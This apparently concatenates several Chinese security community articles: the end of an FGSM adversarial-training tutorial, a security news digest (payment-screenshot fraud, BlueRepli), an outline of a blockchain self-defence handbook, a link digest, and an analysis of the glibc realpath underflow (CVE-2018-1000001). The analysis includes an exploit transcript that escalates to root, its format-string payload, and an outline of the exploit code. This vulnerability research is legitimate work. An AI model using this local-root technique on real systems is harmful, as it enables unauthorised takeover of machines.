我们将这称为生成对抗样本的fast gradient sign method（快速梯度符号方法）。
对应的代码实现如下
应用以上函数，我们来看看对coat样本的攻击前后的结果
从可视化的结果可以看到，左边是原样本，以真实标签为coat，模型以较高的置信度将其预测为coat，中间是添加的对抗扰动，加上之后就得到了右边的对抗样本，其被模型错误预测为了pullover，说米我们攻击成功了。
查看对sneaker的攻击前后结果
同样攻击成功了，对于其他测试集样本生成的对抗样本同样可以攻击成功。
接下来我们来进行对抗训练，提升模型的鲁棒性
为了更全面的衡量模型在面对对抗样本攻击时有多么容易受到攻击，我们可以针对测试数据应用FGSM生成对应的对抗样本测试集
通过打印classification report和混淆矩阵来评估模型在面对对抗样本攻击时的鲁棒性
可以看到整体的指标都是较低的，说明模型面对对抗样本攻击的鲁棒性较弱
接下来我们通过对抗训练的方法增强模型的鲁棒性
## 对抗训练
在实践之前，先来介绍对抗训练的概念。
对抗训练（Adversarial Training）最初由 Ian Goodfellow
等人提出，作为一种防御对抗攻击的方法，其思路非常简单直接，将生成的对抗样本加入到训练集中去，做一个数据增强，让模型在训练的时候就先学习一遍对抗样本。
对抗训练实际上是一个min-max优化问题，寻找一个模型（以参数表示），使得其能够正确分类扰动在一定范围S内的对抗样本，即
其中(x,y)表示原始数据和对应的标签，D表示数据的分布，L是损失函数
内层（中括号内）是一个最大化，L则表示在样本x上叠加一个扰动，再经过神经网络函数，与标签y比较得到的损失。 max
L是优化目标，即寻找使损失函数最大的扰动，简单来讲就是添加的扰动要尽量让神经网络迷惑。外层就是对神经网络进行优化的最小化公式，即当扰动固定的情况下，我们训练神经网络模型使得在训练数据上的损失最小，也就是说，使模型具有一定的鲁棒性能够适应这种扰动。
接下来我们来看实际中对抗训练是怎么做到提升模型鲁棒性的
首先将同样的方法应用于训练集，生成原训练集的一批对抗样本，作为对抗样本训练集，并将对抗样本训练集和原来的训练集合在一起作为最终的训练集
开始在最终的训练集上训练模型
训练过程中的指标变化如下
如此，就完成了对抗训练
那么怎么对抗训练得到的模型的好坏呢？
首先要看该模型在正常的测试集上的性能，毕竟大多数测试样本都是正常的，这才是训练模型最主要的任务，即需要在正常的测试样本面前表现好
可以看到性能还是不错的
另外还要看模型在接收对抗样本时的性能，毕竟这是对抗训练相比一般训练最主要的目的所在，就是为了在面对对抗样本时，不会被其欺骗
从结果可以看到，模型在面对对抗样本时表现非常好
直接看这些指标不具体的话，我们可以从10类样本中各打印一个样本的对抗样本，并查看模型对其分类结果
从结果可以看到，10个对抗样本都被模型正确分类了，说明模型的鲁棒性较好，表明了对抗训练的有效性。
## 参考
1.EXPLAINING AND HARNESSING ADVERSARIAL EXAMPLES
2.ADVERSARIAL TRAINING METHODS FOR SEMI-SUPERVISED TEXT CLASSIFICATION
3.Towards Deep Learning Models Resistant to Adversarial Attacks
4.<https://zhuanlan.zhihu.com/p/104040055>
5.<https://zhuanlan.zhihu.com/p/166364358>
6.<https://github.com/1Konny/FGSM>
7.<https://github.com/ndb796/Pytorch-Adversarial-Training-CIFAR>
8.<https://github.com/zjfheart/Friendly-Adversarial-Training> | 社区文章 |
# 安全快讯13 | Android手机面临BlueRepli蓝牙攻击的风险
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### 假截图、假位置、假“粉丝”…警惕网络灰黑软件诈骗！
近期，山东微商金某报案称，江苏盐城一名女子韩某在其店铺先后14次购买化妆品，每次付款方式都是展示支付截图。一次偶然的机会,
金某发现账户金额不对，仔细一查发现实际并未收到韩某的货款，前后共计两万多元。
金某的遭遇并非个案，近期，全国多地发生利用虚假微信转账欺诈商铺的案件。目前，互联网上一些游走于法律边缘的灰黑软件，可以生成假截图、假位置、假“粉丝”，滋生诈骗等行为。
**支付截图、位置、“粉丝”等均可造假**
假截图的背后，是各类应用市场存在大量 **“支付界面生成器”**
的灰黑软件，利用这些软件，微信对话、微信支付截图、支付宝交易截图、淘宝订单截图等均可造假。一些软件开发者向用户收取“会员费”，可以不限次数地制作假截图。这些会员费少则几十元，多则两三百元。
图片来自网络
有的软件可以修改真实位置，犯罪团伙使用软件修改微信定位，谎称可以提供上门服务，诱骗他人预付费进而行骗。
**技术含量有高有低，已形成地下产业链**
目前，这类软件活跃于 **用户较多、流量较大的社交软件、移动支付软件、短视频软件和直播平台**
周边，已经形成互联网灰黑产业链条，包括上游供给“攻击物料”，包含身份信息及IP、账号等网络资源，下游团伙利用渠道资源，辅助变现及洗钱。
**安全课堂**
n对于网络支付转账，要及时查验钱款流向，确认到账信息；
n不要使用工具软件制作虚假截图，更不要利用虚假截图从事不法行为。
## 行业动态
### “数字孪生时代下的新安全” 首届云端网络安全峰会 ISC2020正式启幕！
8月5日，全球首场网络安全万人云峰会——第八届互联网安全大会(ISC 2020)正式拉开巨幕！
疫情之下，本届ISC采用“万人在线”的云会议形式，突破圈层，打破壁垒，联结中、美、俄、韩、奥、新、以等多国顶级安全智囊、专家、学者及政要，聚焦
**“数字产业化，产业数字化”** 新形势下，网络安全领域的新对话、新探讨与新碰撞。此外，ISC
2020特设六大主题日，近30场重磅论坛，涉及数百精华议题，以及五档特色环节，并打造了容纳数百安全展商、协会、联盟、媒体的3D立体云展览。
随着全球数字化进程推进，网络空间面临不断升级的新威胁和大挑战。ISC
2020率先“进化”，打破一年仅一次，一期仅一会的传统形式，将网络安全行业的最前沿、最热议的技术、趋势、理念全景呈现，打造永不闭幕的云上安全交流平台。
2020年，纵观国内外形势，网络安全行业正遭遇多重合力的冲击：互联网、大数据、人工智能等新一代信息技术的创新聚变，使得以数字技术为基础的新产业、新模式异军突起，全球经济数字化转型踩下“油门”。在此之下，我国不断加快顶层规划，明确以新型基础设施建设(简称新基建)作为主要抓手，推动整个中国经济数字化转型，逐步通过数字孪生实现物理世界与现实世界完全对应.
## 国际前沿
### Android手机面临BlueRepli蓝牙攻击的风险
近年来，不乏与蓝牙相关的攻击，包括BlueBorne和BadBlueTooth等。在8月5日举行的Black Hat USA
2020虚拟活动上，随着BlueRepli的公开披露，蓝牙漏洞列表中增加了新的攻击。
安全研究人员Sourcell Xu和Xin Xin将BlueRepli攻击描述为 **绕过Android手机上的蓝牙身份验证而不进行检测的一种方法。**
在一系列录制的演示中，研究人员演示了如何在有限或没有用户交互的情况下，利用滥用蓝牙来窃取目标设备的电话簿以及收到的所有SMS文本消息。
由于某些原因，研究人员尚未完全了解， **BlueRepli攻击目前在Apple iOS设备上不起作用。**
此外，研究人员指出，他们已向Google和Android Open Source
Project（AOSP）披露了该问题，但据他们称，到目前为止，该问题尚未得到修补。 | 社区文章 |
**作者：慢雾安全团队
原文链接：<https://mp.weixin.qq.com/s/A2XQEWlH25o8YsWjwCz2HQ>**
## 前言
区块链是个伟大的发明，它带来了某些生产关系的变革，让「信任」这种宝贵的东西得以部分解决。但，现实是残酷的，人们对区块链的理解会存在许多误区。这些误区导致了坏人轻易钻了空子，频繁将黑手伸进了人们的钱包，造成了大量的资金损失。这早已是黑暗森林。
基于此，慢雾科技创始人余弦倾力输出—— **区块链黑暗森林自救手册** 。
**本手册（当前 V1 Beta）大概 3 万 7 千字，由于篇幅限制，这里仅罗列手册中的关键目录结构，也算是一种导读。完整内容可见：**
<https://github.com/slowmist/Blockchain-dark-forest-selfguard-handbook>
我们选择 GitHub 平台作为本手册的首要发布位置是因为：方便协同及看到历史更新记录。你可以 Watch、Fork 及
Star，当然我们更希望你能参与贡献。
好，导读开始...
## 引子
如果你持有加密货币或对这个世界有兴趣，未来可能会持有加密货币，那么这本手册值得你反复阅读并谨慎实践。本手册的阅读需要一定的知识背景，希望初学者不必恐惧这些知识壁垒，因为其中大量是可以“玩”出来的。
在区块链黑暗森林世界里，首先牢记下面这两大安全法则：
**零信任** ：简单来说就是保持怀疑，而且是始终保持怀疑。
**持续验证** ：你要相信，你就必须有能力去验证你怀疑的点，并把这种能力养成习惯。
## 关键内容
### 一、创建钱包
* Download
1.找到正确的官网
a. Google
b. 行业知名收录，如 CoinMarketCap
c. 多问一些比较信任的人
2.下载安装应用
a. PC 钱包：建议做下是否篡改的校验工作（文件一致性校验）
b. 浏览器扩展钱包：注意目标扩展下载页面里的用户数及评分情况
c. 移动端钱包：判断方式类似扩展钱包
d. 硬件钱包：从官网源头的引导下购买，留意是否存在被异动手脚的情况
e. 网页钱包：不建议使用这种在线的钱包
* Mnemonic Phrase
创建钱包时，助记词的出现是非常敏感的，请留意你身边没有人、摄像头等一切可以导致偷窥发生的情况。同时留意下助记词是不是足够随机出现
* Keyless
1.Keyless 两大场景（此处区分是为了方便讲解）
a. Custody，即托管方式。比如中心化交易所、钱包，用户只需注册账号，并不拥有私钥，安全完全依托于这些中心化平台
b. Non-Custodial，即非托管方式。用户唯一掌握类似私钥的权力，但却不是直接的加密货币私钥（或助记词）
2.MPC 为主的 Keyless 方案的优缺点
### 二、备份钱包
* 助记词/私钥类型
1.明文：12 个英文单词为主
2.带密码：助记词带上密码后会得到不一样的种子，这个种子就是之后拿来派生出一系列私钥、公钥及对应地址
3.多签：可以理解为目标资金需要多个人签名授权才可以使用，多签很灵活，可以设置审批策略
4.Shamir's Secret Sharing：Shamir 秘密共享方案，作用就是将种子分割为多个分片，恢复钱包时，需要使用指定数量的分片才能恢复
* Encryption
1.多处备份
a. Cloud：Google/Apple/微软，结合 GPG/1Password 等
b. Paper：将助记词（明文、SSS 等形式的）抄写在纸卡片上
c. Device：电脑/iPad/iPhone/移动硬盘/U 盘等
d. Brain：注意脑记风险（记忆/意外）
2.加密
a. 一定要做到定期不定期地验证
b. 采用部分验证也可以
c. 注意验证过程的机密性及安全性
### 三、使用钱包
* AML
1.链上冻结
2.选择口碑好的平台、个人等作为你的交易对手
* Cold Wallet
1.冷钱包使用方法
a. 接收加密货币：配合观察钱包，如 imToken、Trust Wallet 等
b. 发送加密货币：QRCode/USB/Bluetooth
2.冷钱包风险点
a. 所见即所签这种用户交互安全机制缺失
b. 用户的有关知识背景缺失
* Hot Wallet
1.与 DApp（DeFi、NFT、GameFi 等）交互
2.恶意代码或后门作恶方式
a. 钱包运行时，恶意代码将相关助记词直接打包上传到黑客控制的服务端里
b. 钱包运行时，当用户发起转账，在钱包后台偷偷替换目标地址及金额等信息，此时用户很难察觉
c. 破坏助记词生成有关的随机数熵值，让这些助记词比较容易被破解
* DeFi 安全到底是什么
1.智能合约安全
a. 权限过大：增加时间锁（Timelock）/将 admin 多签等
b. 逐步学会阅读安全审计报告
2.区块链基础安全：共识账本安全/虚拟机安全等
3.前端安全
a. 内部作恶：前端页面里的目标智能合约地址被替换/植入授权钓鱼脚本
b. 第三方作恶：供应链作恶/前端页面引入的第三方远程 JavaScript 文件作恶或被黑
4.通信安全
a. HTTPS 安全
b. 举例：MyEtherWallet 安全事件
c. 安全解决方案：HSTS
5.人性安全：如项目方内部作恶
6.金融安全：币价、年化收益等
7.合规安全
a. AML/KYC/制裁地区限制/证券风险有关的内容等
b. AOPP
* NFT 安全
1.Metadata 安全
2.签名安全
* 小心签名/反常识签名
1.所见即所签
2.OpenSea 数起知名 NFT 被盗事件
a. 用户在 OpenSea 授权了 NFT（挂单）
b. 黑客钓鱼拿到用户的相关签名
3.取消授权（approve）
a. Token Approvals
b. Revoke.cash
c. APPROVED.zone
d. Rabby 扩展钱包
4.反常识真实案例
* 一些高级攻击方式
1.针对性钓鱼
2.广撒网钓鱼
3.结合 XSS、CSRF、Reverse Proxy 等技巧（如 Cloudflare 中间人攻击）
### 四、传统隐私保护
* 操作系统
1.重视系统安全更新，有安全更新就立即行动
2.不乱下程序
3.设置好磁盘加密保护
* 手机
1.重视系统的安全更新及下载
2.不要越狱、Root 破解，除非你玩安全研究，否则没必要
3.不要从非官方市场下载 App
4.官方的云同步使用的前提：账号安全方面你确信没问题
* 网络
1.网络方面，尽量选择安全的，比如不乱连陌生 Wi-Fi
2.选择口碑好的路由器、运营商，切勿贪图小便宜，并祈祷路由器、运营商层面不会有高级作恶行为出现
* 浏览器
1.及时更新
2.扩展如无必要就不安装
3.浏览器可以多个共存
4.使用隐私保护的知名扩展
* 密码管理器
1.别忘记你的主密码
2.确保你的邮箱安全
3.1Password/Bitwarden 等
* 双因素认证
Google Authenticator/Microsoft Authenticator 等
* 科学上网
科学上网、安全上网
* 邮箱
1.安全且知名：Gmail/Outlook/QQ 邮箱等
2.隐私性：ProtonMail/Tutanota
* SIM 卡
1.SIM 卡攻击
2.防御建议
a. 启用知名的 2FA 工具
b. 设置 PIN 码
* GPG
1.区分
a. PGP 是 Pretty Good Privacy 的缩写，是商用加密软件，发布 30 多年了，现在在赛门铁克麾下
b. OpenPGP 是一种加密标准，衍生自 PGP
c. GPG，全称 GnuPG，基于 OpenPGP 标准的开源加密软件
* 隔离环境
1.具备零信任安全法则思维
2.良好的隔离习惯
3.隐私不是拿来保护的，隐私是拿来控制的
### 五、人性安全
* Telegram
* Discord
* 来自“官方”的钓鱼
* Web3 隐私问题
### 六、区块链作恶方式
* 盗币、恶意挖矿、勒索病毒、暗网交易、木马的 C2 中转、洗钱、资金盘、博彩等
* SlowMist Hacked 区块链被黑档案库
### 七、被盗了怎么办
* 止损第一
* 保护好现场
* 分析原因
* 追踪溯源
* 结案
### 八、误区
* Code Is Law
* Not Your Keys, Not Your Coins
* In Blockchain We Trust
* 密码学安全就是安全
* 被黑很丢人
* 立即更新
## 总结
当你阅读完本手册后，一定需要实践起来、熟练起来、举一反三。如果之后你有自己的发现或经验，希望你也能贡献出来。如果你觉得敏感，可以适当脱敏，匿名也行。其次，致谢安全与隐私有关的立法与执法在全球范围内的成熟；各代当之无愧的密码学家、工程师、正义黑客及一切参与创造让这个世界更好的人们的努力，其中一位是中本聪。最后，感谢贡献者们，这个列表会持续更新，有任何的想法，希望你联系我们。
导读到此，完整版本，欢迎阅读并分享： <https://github.com/slowmist/Blockchain-dark-forest-selfguard-handbook>
* * * | 社区文章 |
# 【知识】8月14日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：如何通过恶意插件在Atom中植入后门、 Google CTF 2017 Quals Write-up、从用户模式读取内核内存、CVE-2017-8625：使用CHM bypass
设备防护UMCI、检测和缓解CVE-2017-0005权限提升exploit、CVE-2017-1000112：Linux local root
exploit、读取64位进程中的内存信息**
**
**
****
**国内热词(以下内容部分摘自** **<http://www.solidot.org/> )：**
科学家创造基于 DNA 的计算机系统漏洞利用
Google 向扩展开发者警告钓鱼攻击
固件更新将智能锁变砖
**资讯类：**
APT28使用EternalBlue攻击欧洲、中东的酒店
<https://threatpost.com/apt28-using-eternalblue-to-attack-hotels-in-europe-middle-east/127419/>
**技术类：**
如何通过恶意插件在Atom中植入后门
[http://blog.thinkst.com/2017/08/all-your-devs-are-belong-to-us-how-to.html
](http://blog.thinkst.com/2017/08/all-your-devs-are-belong-to-us-how-to.html)
恶意软件分析：ElmersGlue勒索软件可以直接解锁而无需支付赎金
[http://www.ringzerolabs.com/2017/07/elmersglue3exe.html
](http://blog.thinkst.com/2017/08/all-your-devs-are-belong-to-us-how-to.html)
Google CTF 2017 Quals Write-up
[https://drive.google.com/drive/folders/0BwMPuUHZOj0nZ2dGZS1KbWNGN0E
](https://drive.google.com/drive/folders/0BwMPuUHZOj0nZ2dGZS1KbWNGN0E)
从用户模式读取内核内存
[https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/](https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/)
逆向恶意软件教程
[https://securedorg.github.io/RE102/](https://securedorg.github.io/RE102/)
[https://securedorg.github.io/RE101/](https://securedorg.github.io/RE101/)
钓鱼网站异常AES加密设计
[http://www.ringzerolabs.com/2017/08/aes-encrypted-phishing-site.html](http://www.ringzerolabs.com/2017/08/aes-encrypted-phishing-site.html)
CVE-2017-8625：使用CHM bypass 设备防护UMCI
[https://msitpros.com/?p=3909](https://msitpros.com/?p=3909)
检测和缓解CVE-2017-0005权限提升exploit
[https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/](https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/)
适用于Linux/FreeBSD的漏洞扫描程序
[https://github.com/future-architect/vuls](https://github.com/future-architect/vuls)
PowerSAP: PowerShell SAP安全审计工具
[http://pentestit.com/powersap-sap-security-assessment/](http://pentestit.com/powersap-sap-security-assessment/)
读取64位进程中的内存信息
[https://blog.didierstevens.com/2017/08/13/reading-memory-of-64-bit-processes/](https://blog.didierstevens.com/2017/08/13/reading-memory-of-64-bit-processes/)
CVE-2017-1000112：Linux local root exploit（includes KASLR and SMEP bypasses）
[https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c](https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c)
WinREPL：x86 and x64 assembly "read-eval-print loop" for Windows
[https://github.com/zerosum0x0/WinREPL](https://github.com/zerosum0x0/WinREPL)
The end of the billion-user Password:Impossible
[https://www.benthamsgaze.org/2017/08/11/the-end-of-the-billion-user-passwordimpossible/](https://www.benthamsgaze.org/2017/08/11/the-end-of-the-billion-user-passwordimpossible/)
When a web application SSRF causes the cloud to rain credentials & more
[https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/when-a-web-application-ssrf-causes-the-cloud-to-rain-credentials-and-more/](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/when-a-web-application-ssrf-causes-the-cloud-to-rain-credentials-and-more/)
SQL Injection CTF with a difference
[http://sqli-ctf.pajhome.org.uk/](http://sqli-ctf.pajhome.org.uk/)
Week of Evading Microsoft ATA – Day 5 – Attacking ATA, Closing thoughts and
Microsoft's response
[http://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day5.html](http://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day5.html) | 社区文章 |
作者： [Firmy@青藤实验室](https://mp.weixin.qq.com/s/-FA6VFr64QsjuiGty-KpXA
"Firmy@青藤实验室")
#### 0x00 漏洞概述
libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库，包含了C语言最基本的库函数。
glibc 2.26版本及之前版本中的Realpath函数存在缓冲区下溢漏洞（CVE-2018-1000001）。GNU
C库没有正确处理getcwd()系统调用返回的相对路径，并且没有对缓冲区边界进行检查，造成glibc缓冲区下溢漏洞。
实验室实习生Firmy，对该漏洞进行了复现并详细分析了该漏洞。
#### 0x01 漏洞描述
该漏洞涉及到 Linux 内核的 getcwd 系统调用和 glibc 的 realpath() 函数，可以实现本地提权。漏洞产生的原因是 getcwd
系统调用在 Linux-2.6.36 版本发生的一些变化，我们知道 getcwd
用于返回当前工作目录的绝对路径，但如果当前目录不属于当前进程的根目录，即从当前根目录不能访问到该目录，如该进程使用 chroot()
设置了一个新的文件系统根目录，但没有将当前目录的根目录替换成新目录的时候，getcwd 会在返回的路径前加上
(unreachable)。通过改变当前目录到另一个挂载的用户空间，普通用户也可以完成这样的操作。然后返回的这个非绝对地址的字符串会在 realpath()
函数中发生缓冲区下溢，从而导致任意代码执行，再利用 SUID 程序即可获得目标系统上的 root 权限。
#### 0x02 漏洞复现
漏洞发现者已经公开了漏洞利用代码，需要注意的是其所支持的系统被硬编码进了利用代码中，可看情况进行修改。
EXP：
$ gcc -g exp.c
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
$ ./a.out
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out
过程是先利用漏洞将可执行程序自己变成一个 SUID 程序，然后执行该程序即可从普通用户提权到 root 用户。
#### 0x03 漏洞分析
getcwd() 的原型如下：
#include <unistd.h>
char *getcwd(char *buf, size_t size);
它用于得到一个以 null 结尾的字符串，内容是当前进程的当前工作目录的绝对路径。并以保存到参数 buf 中的形式返回。
首先从 Linux 内核方面来看，在 2.6.36 版本的 vfs: show unreachable paths in getcwd and proc
这次提交，使得当目录不可到达时，会在返回的目录字符串前面加上 (unreachable)：
// fs/dcache.c
static int prepend_unreachable(char **buffer, int *buflen)
{
return prepend(buffer, buflen, "(unreachable)", 13);
}
static int prepend(char **buffer, int *buflen, const char *str, int namelen)
{
*buflen -= namelen;
if (*buflen < 0)
return -ENAMETOOLONG;
*buffer -= namelen;
memcpy(*buffer, str, namelen);
return 0;
}
/*
* NOTE! The user-level library version returns a
* character pointer. The kernel system call just
* returns the length of the buffer filled (which
* includes the ending '\0' character), or a negative
* error value. So libc would do something like
*
* char *getcwd(char * buf, size_t size)
* {
* int retval;
*
* retval = sys_getcwd(buf, size);
* if (retval >= 0)
* return buf;
* errno = -retval;
* return NULL;
* }
*/
SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
{
int error;
struct path pwd, root;
char *page = __getname();
if (!page)
return -ENOMEM;
rcu_read_lock();
get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);
error = -ENOENT;
if (!d_unlinked(pwd.dentry)) {
unsigned long len;
char *cwd = page + PATH_MAX;
int buflen = PATH_MAX;
prepend(&cwd, &buflen, "\0", 1);
error = prepend_path(&pwd, &root, &cwd, &buflen);
rcu_read_unlock();
if (error < 0)
goto out;
/* Unreachable from current root */
if (error > 0) {
error = prepend_unreachable(&cwd, &buflen); // 当路径不可到达时，添加前缀
if (error)
goto out;
}
error = -ERANGE;
len = PATH_MAX + page - cwd;
if (len <= size) {
error = len;
if (copy_to_user(buf, cwd, len))
error = -EFAULT;
}
} else {
rcu_read_unlock();
}
out:
__putname(page);
return error;
}
可以看到在引进了 unreachable
这种情况后，仅仅判断返回值大于零是不够的，它并不能很好地区分开究竟是绝对路径还是不可到达路径。然而很可惜的是，glibc 就是这样做的，它默认了返回的
buf 就是绝对地址。当然也是由于历史原因，在修订 getcwd 系统调用之前，glibc 中的 `getcwd()`
库函数就已经写好了，于是遗留下了这个不匹配的问题。
从 glibc 方面来看，由于它仍然假设 getcwd 将返回绝对地址，所以在函数 realpath() 中，仅仅依靠 `name[0] != '/'`
就断定参数是一个相对路径，而忽略了以 ( 开头的不可到达路径。
`__realpath()` 用于将 path 所指向的相对路径转换成绝对路径，其间会将所有的符号链接展开并解析 /./、/../ 和多余的 /。然后存放到
`resolved_path` 指向的地址中，具体实现如下：
// stdlib/canonicalize.c
char *
__realpath (const char *name, char *resolved)
{
[...]
if (name[0] != '/') // 判断是否为绝对路径
{
if (!__getcwd (rpath, path_max)) // 调用 getcwd() 函数
{
rpath[0] = '\0';
goto error;
}
dest = __rawmemchr (rpath, '\0');
}
else
{
rpath[0] = '/';
dest = rpath + 1;
}
for (start = end = name; *start; start = end) // 每次循环处理路径中的一段
{
[...]
/* Find end of path component. */
for (end = start; *end && *end != '/'; ++end) // end 标记一段路径的末尾
/* Nothing. */;
if (end - start == 0)
break;
else if (end - start == 1 && start[0] == '.') // 当路径为 "." 的情况时
/* nothing */;
else if (end - start == 2 && start[0] == '.' && start[1] == '.') // 当路径为 ".." 的情况时
{
/* Back up to previous component, ignore if at root already. */
if (dest > rpath + 1)
while ((--dest)[-1] != '/'); // 回溯，如果 rpath 中没有 '/'，发生下溢出
}
else // 路径组成中没有 "." 和 ".." 的情况时，复制 name 到 dest
{
size_t new_size;
if (dest[-1] != '/')
*dest++ = '/';
[...]
}
}
}
当传入的 name 不是一个绝对路径，比如 ../../x，realpath() 将会使用当前工作目录来进行解析，而且默认了它以 /
开头。解析过程是从后先前进行的，当遇到 ../ 的时候，就会跳到前一个 /，但这里存在一个问题，没有对缓冲区边界进行检查，如果缓冲区不是以 /
开头，则函数会越过缓冲区，发生溢出。所以当 getcwd 返回的是一个不可到达路径 (unreachable)/时，../../x 的第二个 ../
就已经越过了缓冲区，然后 x 会被复制到这个越界的地址处。
###### 补丁
漏洞发现者也给出了它自己的补丁，在发生溢出的地方加了一个判断，当 dest == rpath 的时候，如果 `*dest != '/'`，则说明该路径不是以
/ 开头，便触发报错。
--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@
goto error;
}
dest = __rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+ assert (dest != rpath);
}
else
{
@@ -118,8 +123,17 @@
else if (end - start == 2 && start[0] == '.' && start[1] == '.')
{
/* Back up to previous component, ignore if at root already. */
- if (dest > rpath + 1)
- while ((--dest)[-1] != '/');
+ dest--;
+ while ((dest != rpath) && (*--dest != '/'));
+ if ((dest == rpath) && (*dest != '/') {
+ /* Return EACCES to stay compliant to current documentation:
+ "Read or search permission was denied for a component of the
+ path prefix." Unreachable root directories should not be
+ accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
+ __set_errno (EACCES);
+ goto error;
+ }
+ dest++;
}
else
{
但这种方案似乎并没有被合并。
最终采用的方案是直接从源头来解决，对 getcwd() 返回的路径 path 进行检查，如果确定 `path[0] ==
'/'`，说明是绝对路径，返回。否则转到 `generic_getcwd()`（内部函数，源码里看不到）进行处理：
$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
index f545106289..866b9d26d5 100644
--- a/sysdeps/unix/sysv/linux/getcwd.c
+++ b/sysdeps/unix/sysv/linux/getcwd.c
@@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size)
int retval;
retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
- if (retval >= 0)
+ if (retval > 0 && path[0] == '/')
{
#ifndef NO_ALLOCATION
if (buf == NULL && size == 0)
@@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size)
return buf;
}
- /* The system call cannot handle paths longer than a page.
- Neither can the magic symlink in /proc/self. Just use the
+ /* The system call either cannot handle paths longer than a page
+ or can succeed without returning an absolute path. Just use the
generic implementation right away. */
- if (errno == ENAMETOOLONG)
+ if (retval >= 0 || errno == ENAMETOOLONG)
{
#ifndef NO_ALLOCATION
if (buf == NULL && size == 0)
#### 0x04 Exploit
umount 包含在 util-linux 中，为方便调试，我们重新编译安装一下：
$ sudo apt-get install dpkg-dev automake
$ sudo apt-get source util-linux
$ cd util-linux-2.27.1
$ ./configure
$ make && sudo make install
$ file /bin/umount
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped
exp 主要分成两个部分：
int main(int argc, char **argv) {
[...]
pid_t nsPid=prepareNamespacedProcess();
while(excalateCurrentAttempt<escalateMaxAttempts) {
[...]
attemptEscalation();
[...]
if(statBuf.st_uid==0) {
fprintf(stderr, "Executable now root-owned\n");
goto escalateOk;
}
}
preReturnCleanup:
[...]
if(!exitStatus) {
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
invokeShell("/proc/self/exe");
exitStatus=1;
}
escalateOk:
exitStatus=0;
goto preReturnCleanup;
}
`prepareNamespacedProcess()`：准备一个运行在自己 mount namespace
的进程，并设置好适当的挂载结构。该进程允许程序在结束时可以清除它，从而删除 namespace。
`attemptEscalation()`：调用 umount 来获得 root 权限。
简单地说一下 mount namespace，它用于隔离文件系统的挂载点，使得不同的 mount namespace
拥有自己独立的不会互相影响的挂载点信息，当前进程所在的 mount namespace 里的所有挂载信息在
`/proc/[pid]/mounts`、`/proc/[pid]/mountinfo` 和 `/proc/[pid]/mountstats` 里面。每个
mount namespace 都拥有一份自己的挂载点列表，当用 clone 或者 unshare 函数创建了新的 mount namespace
时，新创建的 namespace 会复制走一份原来 namespace 里的挂载点列表，但从这之后，两个 namespace 就没有关系了。
首先为了提权，我们需要一个 SUID 程序，mount 和 umount 是比较好的选择，因为它们都依赖于 realpath()
来解析路径，而且能被所有用户使用。其中 umount 又最理想，因为它一次运行可以操作多个挂载点，从而可以多次触发到漏洞代码。
